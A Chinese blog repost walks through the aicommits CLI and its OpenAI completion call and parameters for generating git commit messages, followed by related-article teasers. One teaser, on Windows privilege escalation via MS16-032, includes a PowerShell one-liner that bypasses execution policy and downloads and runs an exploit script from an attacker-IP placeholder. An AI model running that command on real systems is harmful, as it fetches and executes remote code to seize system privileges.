如何让AI 帮你生成 git 提交信息

news2024/11/23 9:49:34

在协同开发的项目中,我们肯定避免不了使用git提交代码,所以经常会看到了一些描述不清的提交信息。当遇到种情况时,我们也不必为此责怪开发人员,因为我们确实很难记住你在 git 提交时刚刚做了什么。

GitHub Nutlope / aicommits

一个使用 AI 帮您编写 git 提交消息的 CLI

什么是 Nultope/aicommits?

Aicommits 是一个 CLI(脚手架),它可以使用 AI 为你编写 git 提交消息。

未知的推文媒体内容

它是如何工作的?

本篇文章本意是着重介绍代码的 AI 部分,但一打开 GitHub,我惊奇地看到了 TABS、jk的使用。这就很有意思,因为 CLI 工具cleye这个工具也是用到了TABS、jk,它给我留下了深刻的印象。我以前也搭建过一些 CLI,而这个 cleye 是在命令行上构建 aicommits 交互的首选工具。这是它很优秀的地方。

如果您想查看 CLI 实现,可以快速阅读src/cli.ts。

// src/cli.ts

const request = https.request({
  port: 443,
  hostname: 'api.openai.com',
  path: '/v1/completions',
  method: 'POST',
  headers: {
      'Content-Type': 'application/json',
      'Content-Length': postContent.length,
      Authorization: `Bearer ${apiKey}`,
  },

  ...

到目前为止,我还没有用 OpenAI 构建任何东西,但上面的示例很好的说明了人们应该去如何配置它。

现在查看代码src/utils/openai.ts,我们可以看到正在调用 OpenAI 并使用/v1/completions路径。根据 README的说明,这不是 ChatGPT 补全,而是常规 GTP-3 文本补全。

在 REST 调用之后,我们会先执行响应清理和错误检查器。这是不能绕过的步骤的,因为 OpenAI 经常会遇见停机和服务器负载。

// src/utils/openai.ts

if (response.statusCode === 500) {
    errorMessage += '; 查看 API 状态: https://status.openai.com';
}

最后,看一下createCompletion函数,这才是真正实现功能的地方。

我在下面留下了关于每一行在做什么的解释

// src/utils/openai.ts

const completion = await createCompletion(apiKey, {
    model, // text-davinci-003 - 用于更长的输出和一致的指令
    prompt, // nutlope提供的promptTemplate
    temperature: 0.7, // 数字越大,输出越随机
    top_p: 1, // 类似温度但结果不同
    frequency_penalty: 0, // 降低模型重复同一行的可能性
    presence_penalty: 0, // 增加模型谈论新话题的可能性
    max_tokens: 200, // 这将要花你多少钱?
    stream: false, // 部分消息发送关闭
    n: completions, // 为每个输入消息生成多少个聊天完成选项
});

还有很多我想深入挖掘,但我把剩下的留给你们看。我建议在本地安装 aicommits 进行试用。前提是你已经注册了 OpenAI 已经添加了你的令牌。

aicommits 在命令行上的演示

本文正在参加「金石计划」

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1831249.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ABBYY Finereader 15中文版安装包下载及安装教程

​ABBYY FineReader 是一款功能强大的 OCR(Optical Character Recognition)软件,可以将扫描的文档转换为可编辑的文本文件。它不仅可以识别文本,还可以识别表格、图像和布局,使得文档的转换更加准确和方便。 安 装 包 …

图像的对比度和亮度

目标 访问像素值用0来初始化矩阵cv::saturate_cast像素转换提高一张图像的亮度 原理 图像处理 图像变换可以被视作两个步骤: 点操纵(像素转换)相邻区域转换(以面积为基础) 像素转换 在这种图像处理的转换过程中…

【电子实验4】TDA2030功率放大电路

🚩 WRITE IN FRONT 🚩 🔎 介绍:"謓泽"正在路上朝着"攻城狮"方向"前进四" 🔎🏅 荣誉:2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…

如何解决 torch.cuda.is_available()是False

目录 1. 问题2. 解决方法2.1 安装torch的CUDA版本2.1.1 查看安装的torch是什么版本2.1.2 下载GPU版本的torch 2.2 安装 NVIDIA CUDA2.2.1 下载CUDA Toolkit2.2.2 安装CUDA Toolkit 最终效果 1. 问题 在Python中,使用Pytorch时,往往会选择使用CUDA模块&a…

护眼灯对眼睛有伤害吗?千万要小心的行业四大弊端内幕

护眼灯,作为现代家居与办公环境中不可或缺的照明伴侣,因其普及性广受青睐。然而,随着大众对视觉健康意识的逐渐增强,一个疑问悄然滋生:护眼灯对眼睛有伤害吗?这一问题不仅触及到了人们对视觉健康的深层担忧…

【韩顺平零基础学java】第15章练习题

1 2. 使用方法 1.写方法 2.使用Test注解 3.点击左侧运行符号运行 3. User package com.hspedu.homework;/*** author 韩顺平* version 1.0* 该类包含:private成员变量(int类型) id,age;(String 类型&…

grid布局的各项css说明

还有place-self,相当于justify-self与align-selft的复合属性 还有order

慎投!新增1本中科院1区顶刊被“On Hold”

本周投稿推荐 SSCI • 中科院2区,6.0-7.0(录用友好) EI • 各领域沾边均可(2天录用) CNKI • 7天录用-检索(急录友好) SCI&EI • 4区生物医学类,0.5-1.0(录用…

集群初始配置

假设已经有三台或多台 Linux,可以是虚拟机或真实设备。如果希望使用这些 Linux 组成一个集群,并在上面运行一些分布式系统,可能需要如下操作。 1 设置静态IP 输入命令route -n打印路由表,可以查看网关地址。图形界面操作&#x…

压缩映射定理证明

收缩映射定理(又称Banach不动点定理)是一个重要的结果,特别是在分析和应用数学中。 定理(收缩映射定理):假设是一个从度量空间 (X,d) 到自身的函数,如果 是一个收缩映射,即存在常数 …

SwitchHosts 简明教程

转载请标明出处:https://blog.csdn.net/donkor_/article/details/139743047 文章目录 一、SwitchHosts 是什么二、功能特性三、安装四、使用4.1 本地添加host4.2 本地127.0.0.1添加指定IP 五、修改 hosts 后不生效 一、SwitchHosts 是什么 SwitchHosts 是一个管理 …

领夹麦克风哪个品牌音质最好?轻揭无线麦克风哪个品牌性价比高!

​随着短视频热潮的兴起,越来越多的人倾向于用vlog记录日常生活,同时借助短视频和直播平台开辟了副业。在这一过程中,麦克风在近两年内迅速发展,从最初的简单收音功能演变为拥有多样款式和功能,以满足视频创作的需求。…

抢抓养生“新热点” 中华老字号“宝藏产品”上新

正在开展中的江苏省老字号“三进三促”活动暨第六届中国(江苏)老字号博览会上,苏州李良济等18家江苏新一批“中华老字号”获正式授牌。活动中,“老字号”紧扣“新热点”,着重推出一批创新养生产品。 本次博览会于6月14…

HarmonyOS【ArkUI组件--Button】

1.Button基本使用 2. 通过按钮实现图片放大缩小 在此博客的基础上继续编写: HarmonyOS【ArkUI组件--TextInput】-CSDN博客 ①关键代码如下: ②完整代码如下: import font from ohos.font Entry Component struct Index {State imageWidth:num…

Linux 通过日志快速定位错误必掌握命令

author: 放牛娃学编程 CSDN:放牛娃学编程 moto: 分享与热爱,不是大爱我不说 放牛娃每日一语: 你改变不了出生、但是你可以改变自己 如果你是开发、运维人员,那你一定要收藏这篇文章 因为这里你能学到AI永远也给不了你的知识 Linux 通过日志…

MES里面有质量模块,为什么还要实施质量管理软件(QMS)

为什么一些知名头部的大厂,已经有了MES , 却还都去实施了质量管理软件(QMS)? 答:是这些MES里面的质量模块不能满足客户的需求。 那么来看看,从质量管理的角度来看,QMS软件系统是什么样子的? …

用 微 / 积分思想妙解关于等比数列的和

同理,也是微积分思想: 求 (\sum_{k1}^n q^k) 的和: 我们知道几何级数的求和公式: ∑ k 0 n q k 1 − q n 1 1 − q (对于 q ≠ 1 ) \sum_{k0}^n q^k \frac{1-q^{n1}}{1-q} \quad \text{(对于 } q \neq 1\text{)} k0∑n​qk…

物联网主机E6000:智慧安防的核心动力

随着科技的不断进步,物联网(IoT)技术已经深入到我们生活的各个领域,尤其是在智慧安防领域,物联网技术的应用正变得越来越广泛。物联网主机E6000作为一款高性能的智能设备,其在智慧安防系统中扮演着至关重要…

2024年应届生就业比惨大赛,即将一触即发,FPGA方向怎么样?

2024年应届生就业比惨大赛,即将一触即发, 如果你不想榜上有名, 就看看小编为你薅遍HR老师总结出来的就业秘籍~ 电气类专业 张雪峰老师评价:新能源汽车、光伏、风电在风口,适合县级以下老家就业,对于大城…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…